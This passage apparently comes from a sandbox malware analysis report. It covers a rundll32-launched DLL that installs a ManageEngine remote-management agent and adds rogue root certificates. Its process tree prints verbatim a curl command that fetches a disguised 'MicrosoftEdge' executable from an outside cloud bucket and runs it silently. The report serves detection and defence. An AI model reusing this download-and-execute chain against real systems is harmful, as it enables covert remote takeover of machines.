dff2d9a69d94667d15f9cb163486ef1c6e747ff9a4b7e4c6f4b4870a62a0f888a2bcd2898067930203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414f2bd842a31cc4b6e2bc3a5de31b4e44b8450b944301f0603551d23041830168014f2bd842a31cc4b6e2bc3a5de31b4e44b8450b944300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100a80af55364a09362062bfa8e0df04bcb52530fa02a506b049983c3718cf0cc2f6c6dc702ebdd708e5ec9c46308a8b30475baca1c12241f1736efbf0f8eb268067a83f547054f9bf2425397f773e438e004ea103a8f5c750099308aec7eedc260842f75c0fc5c7db4d77783e2b855a4d11137066131ddf2cc9860a7bf3372642819f3fafa35de58206882eb76f067f9eac61022bf9a969bca97a95591cedf98662fef99825328dd53f5fe328ce5c92e52dcec5b523986f8d44b7e99c2d7aac25638dc45bda776baede57717891a751e2ad2ff9802ee34edf8bb05b919463636b8872e924cd536c5ce77f1a87d48e5e2d1db9ea003350fdb0b944ac5d5afc87fa5	dcagentregister.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\0C537943D984E7A9A7ECAFE3D02597044883D2EB\Blob = 140000000100000014000000d7d1d98416f9d66ab22d9742da05fba8ef81ae890300000001000000140000000c537943d984e7a9a7ecafe3d02597044883d2eb0f0000000100000020000000678711780f573ee42d3474adf07920addf8d50d59a9ecbea435848af21b0acba2000000001000000d8030000308203d4308202bca00302010202080f10cdb52ae0e8ce300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303930353135333833365a180f32303531303930353135333833365a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6b6bd673ae66456c66063e4fa63a75f3fad305a6c5eb727b9e8cd9807c18b66fa08efd4ac3aeb5d1c0fdb4e8b9755500e4d40eed1104e3d078227c145111b2bf339e0095c361d737fbf51d53c559cd15abf709c0c3e5e2135b97d7a87a96628936b07040e4b789094bd8f8e120846546b3af51e8229de738a3714cacfd91f722bf6371c0355805853972adcc6dcac5c9974e3e4a1ef205cc945be56e12f9acce189e8742831178707f03548bf038eb4a95dd3c3d0a6dc8fce70492c7e1ccdc3f88678ff5e741c88d95c2db6b96bd934b481adeb54f43fcb291b5c262138a951823c8ca180a6cdbbbfe9441c0303a8f28f4e04a86cb91006f0fa5a8613dfa32d0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414d7d1d98416f9d66ab22d9742da05fba8ef81ae89301f0603551d23041830168014d7d1d98416f9d66ab22d9742da05fba8ef81ae89300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100bc4f67a4eaa5765a83275811e63d89b733c205353adce2525b7c5c05d5d6c1d5faec0c09e62af60f656d297975ee3061bbda8cafdca297bb1a5974ee9a35dcde9adfa103dfdcaa91159d83165f5c02b9cd5071bfd85ec8d6f1eceb2ada13bd9dbc8778ead1c507c33089d5f5c95b5d63dd15f4b506f2c1a82b6c62560eab066bdb9b3e88db36a611f35ae700c46a43f0e4d18d0f12f2118ea0e7cfaade6723074f2542c56c108d184b836f98f928e89218c629d0b0f48d01653e06bdadc71c763c8c5e721df5f02653df6a9200a487b6086c6745ff930b4b5fd5a9c46303f2f22510eb79e806e518839a5d299c6949b070304971b66d0af368770d647cf9228c	dcagentregister.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\01D84E226B2A33CAF9D672212EDA98D138353872\Blob = 140000000100000014000000f2bd842a31cc4b6e2bc3a5de31b4e44b8450b94403000000010000001400000001d84e226b2a33caf9d672212eda98d1383538720f000000010000002000000018b1339874f148fc29bb5b044d2a659cf188b34d00819a9f2e3c1f3257e01e3e2000000001000000f0030000308203ec308202d4a003020102020830f9ca65fc2e9638300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303930353135333833365a180f32303531303930353135333833365a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100aef8672f556790cdebb255f807eccab76a04bc1c143d5b09c5b3fdc18d82f1a4de51121bfdc59228d867c708c725809e818b645da4f2ccb4a64201387f1f9f1da4aecb0e5f4e91ea23ae9be44cc8a502f600b849ab122d1e38127a606633d7fe5f0e373f6516d4363278ffd080c90ffa2174efc8e592470c9ea4dd888868b919731a75b46a64ef04df7ab22628217fc94b4aeed1b3aa85b1eff2bfd10e7eb26a0a1f1018f0cf6495997d93a35d4a84d93fb09ab94a2b3d6f1f0c53e18ec3a6546c6fd31d9f96a7a15ee7b533f99e3398d6111372bf1456dfe5dff2d9a69d94667d15f9cb163486ef1c6e747ff9a4b7e4c6f4b4870a62a0f888a2bcd2898067930203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414f2bd842a31cc4b6e2bc3a5de31b4e44b8450b944301f0603551d23041830168014f2bd842a31cc4b6e2bc3a5de31b4e44b8450b944300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100a80af55364a09362062bfa8e0df04bcb52530fa02a506b049983c3718cf0cc2f6c6dc702ebdd708e5ec9c46308a8b30475baca1c12241f1736efbf0f8eb268067a83f547054f9bf2425397f773e438e004ea103a8f5c750099308aec7eedc260842f75c0fc5c7db4d77783e2b855a4d11137066131ddf2cc9860a7bf3372642819f3fafa35de58206882eb76f067f9eac61022bf9a969bca97a95591cedf98662fef99825328dd53f5fe328ce5c92e52dcec5b523986f8d44b7e99c2d7aac25638dc45bda776baede57717891a751e2ad2ff9802ee34edf8bb05b919463636b8872e924cd536c5ce77f1a87d48e5e2d1db9ea003350fdb0b944ac5d5afc87fa5	dcagentregister.exe

System Location Discovery: System Language Discovery 1 TTPs 26 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language	dcagentregister.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7za.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dcstatusutil.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7za.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dcagentservice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7za.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dcagentregister.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage	dcagentregister.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
2036	timeout.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
5976	systeminfo.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
1736	taskkill.exe

Modifies data under HKEY_USERS 44 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached	dcagentregister.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{289AF617-1CC3-42A6-926C-E6A863F0E3BA} {ADD8BA80-002B-11D0-8F0F-00C04FD7D062} 0xFFFF = 010000000000000079b91cdc3548dd01	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	dcagentregister.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	dcagentregister.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{35786D3C-B075-49B9-88DD-029876E11C01} {ADD8BA80-002B-11D0-8F0F-00C04FD7D062} 0xFFFF = 010000000000000079b91cdc3548dd01	dcagentregister.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\Local Settings	MicrosoftEdge_X64_152.0.7162.163.exe

Modifies system certificate store 2 TTPs 2 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\0C537943D984E7A9A7ECAFE3D02597044883D2EB	dcagentregister.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\01D84E226B2A33CAF9D672212EDA98D138353872	dcagentregister.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe
5804	rundll32.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5804	rundll32.exe
Token: SeLoadDriverPrivilege	5804	rundll32.exe
Token: SeTakeOwnershipPrivilege	5804	rundll32.exe
Token: SeIncBasePriorityPrivilege	5804	rundll32.exe
Token: SeTcbPrivilege	5804	rundll32.exe
Token: SeShutdownPrivilege	3720	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3720	msiexec.exe
Token: SeSecurityPrivilege	5124	msiexec.exe
Token: SeCreateTokenPrivilege	3720	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	3720	msiexec.exe
Token: SeLockMemoryPrivilege	3720	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3720	msiexec.exe
Token: SeMachineAccountPrivilege	3720	msiexec.exe
Token: SeTcbPrivilege	3720	msiexec.exe
Token: SeSecurityPrivilege	3720	msiexec.exe
Token: SeTakeOwnershipPrivilege	3720	msiexec.exe
Token: SeLoadDriverPrivilege	3720	msiexec.exe
Token: SeSystemProfilePrivilege	3720	msiexec.exe
Token: SeSystemtimePrivilege	3720	msiexec.exe
Token: SeProfSingleProcessPrivilege	3720	msiexec.exe
Token: SeIncBasePriorityPrivilege	3720	msiexec.exe
Token: SeCreatePagefilePrivilege	3720	msiexec.exe
Token: SeCreatePermanentPrivilege	3720	msiexec.exe
Token: SeBackupPrivilege	3720	msiexec.exe
Token: SeRestorePrivilege	3720	msiexec.exe
Token: SeShutdownPrivilege	3720	msiexec.exe
Token: SeDebugPrivilege	3720	msiexec.exe
Token: SeAuditPrivilege	3720	msiexec.exe
Token: SeSystemEnvironmentPrivilege	3720	msiexec.exe
Token: SeChangeNotifyPrivilege	3720	msiexec.exe
Token: SeRemoteShutdownPrivilege	3720	msiexec.exe
Token: SeUndockPrivilege	3720	msiexec.exe
Token: SeSyncAgentPrivilege	3720	msiexec.exe
Token: SeEnableDelegationPrivilege	3720	msiexec.exe
Token: SeManageVolumePrivilege	3720	msiexec.exe
Token: SeImpersonatePrivilege	3720	msiexec.exe
Token: SeCreateGlobalPrivilege	3720	msiexec.exe
Token: SeRestorePrivilege	5124	msiexec.exe
Token: SeTakeOwnershipPrivilege	5124	msiexec.exe
Token: SeRestorePrivilege	5124	msiexec.exe
Token: SeTakeOwnershipPrivilege	5124	msiexec.exe
Token: SeRestorePrivilege	5124	msiexec.exe
Token: SeTakeOwnershipPrivilege	5124	msiexec.exe
Token: SeRestorePrivilege	5124	msiexec.exe
Token: SeTakeOwnershipPrivilege	5124	msiexec.exe
Token: SeDebugPrivilege	1736	taskkill.exe
Token: SeRestorePrivilege	5124	msiexec.exe
Token: SeTakeOwnershipPrivilege	5124	msiexec.exe
Token: SeRestorePrivilege	5124	msiexec.exe
Token: SeTakeOwnershipPrivilege	5124	msiexec.exe
Token: SeRestorePrivilege	5124	msiexec.exe
Token: SeTakeOwnershipPrivilege	5124	msiexec.exe
Token: SeRestorePrivilege	5124	msiexec.exe
Token: SeTakeOwnershipPrivilege	5124	msiexec.exe
Token: SeDebugPrivilege	1608	tasklist.exe
Token: SeDebugPrivilege	5804	rundll32.exe
Token: SeCreateTokenPrivilege	5804	rundll32.exe
Token: SeAssignPrimaryTokenPrivilege	5804	rundll32.exe
Token: SeLockMemoryPrivilege	5804	rundll32.exe
Token: SeIncreaseQuotaPrivilege	5804	rundll32.exe
Token: SeMachineAccountPrivilege	5804	rundll32.exe
Token: SeTcbPrivilege	5804	rundll32.exe
Token: SeSecurityPrivilege	5804	rundll32.exe
Token: SeTakeOwnershipPrivilege	5804	rundll32.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5804	rundll32.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 1200 wrote to memory of 5804	1200	rundll32.exe	86
PID 5804 wrote to memory of 5964	5804	rundll32.exe	97
PID 5804 wrote to memory of 3676	5804	rundll32.exe	102
PID 3676 wrote to memory of 220	3676	MicrosoftEdge_X64_152.0.7162.163.exe	103
PID 220 wrote to memory of 3720	220	WScript.exe	104
PID 5124 wrote to memory of 744	5124	msiexec.exe	107
PID 5804 wrote to memory of 1736	5804	rundll32.exe	110
PID 5124 wrote to memory of 1796	5124	msiexec.exe	112
PID 5804 wrote to memory of 3960	5804	rundll32.exe	113
PID 3960 wrote to memory of 3776	3960	cmd.exe	115
PID 3776 wrote to memory of 1608	3776	cmd.exe	116
PID 3776 wrote to memory of 4248	3776	cmd.exe	117
PID 1796 wrote to memory of 880	1796	dcagentregister.exe	118
PID 880 wrote to memory of 1392	880	cmd.exe	120
PID 3776 wrote to memory of 2036	3776	cmd.exe	121
PID 1392 wrote to memory of 6132	1392	net.exe	122
PID 880 wrote to memory of 3048	880	cmd.exe	123
PID 880 wrote to memory of 3832	880	cmd.exe	124
PID 880 wrote to memory of 4064	880	cmd.exe	125
PID 880 wrote to memory of 1300	880	cmd.exe	126
PID 880 wrote to memory of 5320	880	cmd.exe	127
PID 1796 wrote to memory of 2548	1796	dcagentregister.exe	133
PID 2548 wrote to memory of 1176	2548	cmd.exe	135
PID 1796 wrote to memory of 5564	1796	dcagentregister.exe	139
PID 1796 wrote to memory of 4816	1796	dcagentregister.exe	141
PID 1796 wrote to memory of 2260	1796	dcagentregister.exe	143

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\197af43efb572a40f05f3abd7ea3bba6cccd4f068b61f768921ad927ed6ab68f.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:1200
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\197af43efb572a40f05f3abd7ea3bba6cccd4f068b61f768921ad927ed6ab68f.dll,#1
  2⤵
  - Badlisted process makes network request
  - Loads dropped DLL
  - Enumerates connected drives
  - Drops file in System32 directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:5804
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_152.0.7162.163.exe" "https://hjfkdhfi.oss-ap-southeast-5.aliyuncs.com/setup.exe"
    3⤵
    - Downloads MZ/PE file
    PID:5964
- - C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_152.0.7162.163.exe
    "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_152.0.7162.163.exe" /S /norestart
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:3676
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\SetUP.VBS"
      4⤵
      Checks computer location settings
      Executes a VBScript file via the Windows Script Host.
      Suspicious use of WriteProcessMemory
      PID:220
    - - C:\Windows\System32\msiexec.exe
        
        "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX0\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\RarSFX0\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX0\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX0\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Agentinstalllog.txt"
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3720
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1736
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c start "" /B cmd /C "C:\Users\Public\FhvnVuXPvIPaxSfOlglulqINZiIJwlYy\S-1-5-21-681733028-2344970462-962213935\xfrUGhbQfXProewmgD.BAT"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3960
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /C "C:\Users\Public\FhvnVuXPvIPaxSfOlglulqINZiIJwlYy\S-1-5-21-681733028-2344970462-962213935\xfrUGhbQfXProewmgD.BAT"
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3776
    - - C:\Windows\SysWOW64\tasklist.exe
        
        TASKLIST /FI "IMAGENAME eq rundll32.exe" /FO CSV
        5⤵
        Discovers running processes
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:1608
    - - C:\Windows\SysWOW64\find.exe
        
        FIND /I "rundll32.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4248
    - - C:\Windows\SysWOW64\timeout.exe
        
        TIMEOUT /t 60 /nobreak
        5⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:2036

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Badlisted process makes network request
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5124
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding FEB9D3C1E3FA78D03066236ACE7762EF
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:744
- C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe
  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe" -i dc
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Drops file in Program Files directory
  - Drops file in Windows directory
  - Modifies trusted root certificate store through registry
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  - Modifies system certificate store
  - Suspicious use of WriteProcessMemory
  PID:1796
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\setAppPermission_Internal.bat" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\""
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:880
  - - C:\Windows\SysWOW64\net.exe
      net session
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1392
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:6132
  - - C:\Windows\SysWOW64\icacls.exe
      "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /grant *S-1-5-18:(OI)(CI)F /T /Q /grant *S-1-5-32-544:(OI)(CI)F /T /Q
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3048
  - - C:\Windows\SysWOW64\icacls.exe
      "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /grant:r "MJXKMXFQ\Admin":(OI)(CI)F /T /Q
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3832
  - - C:\Windows\SysWOW64\icacls.exe
      "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4064
  - - C:\Windows\SysWOW64\icacls.exe
      "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /remove:g "CREATOR OWNER" /T /Q /remove:g "BUILTIN\Users" /T /Q /remove:g *S-1-15-2-1 /T /Q
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1300
  - - C:\Windows\SysWOW64\icacls.exe
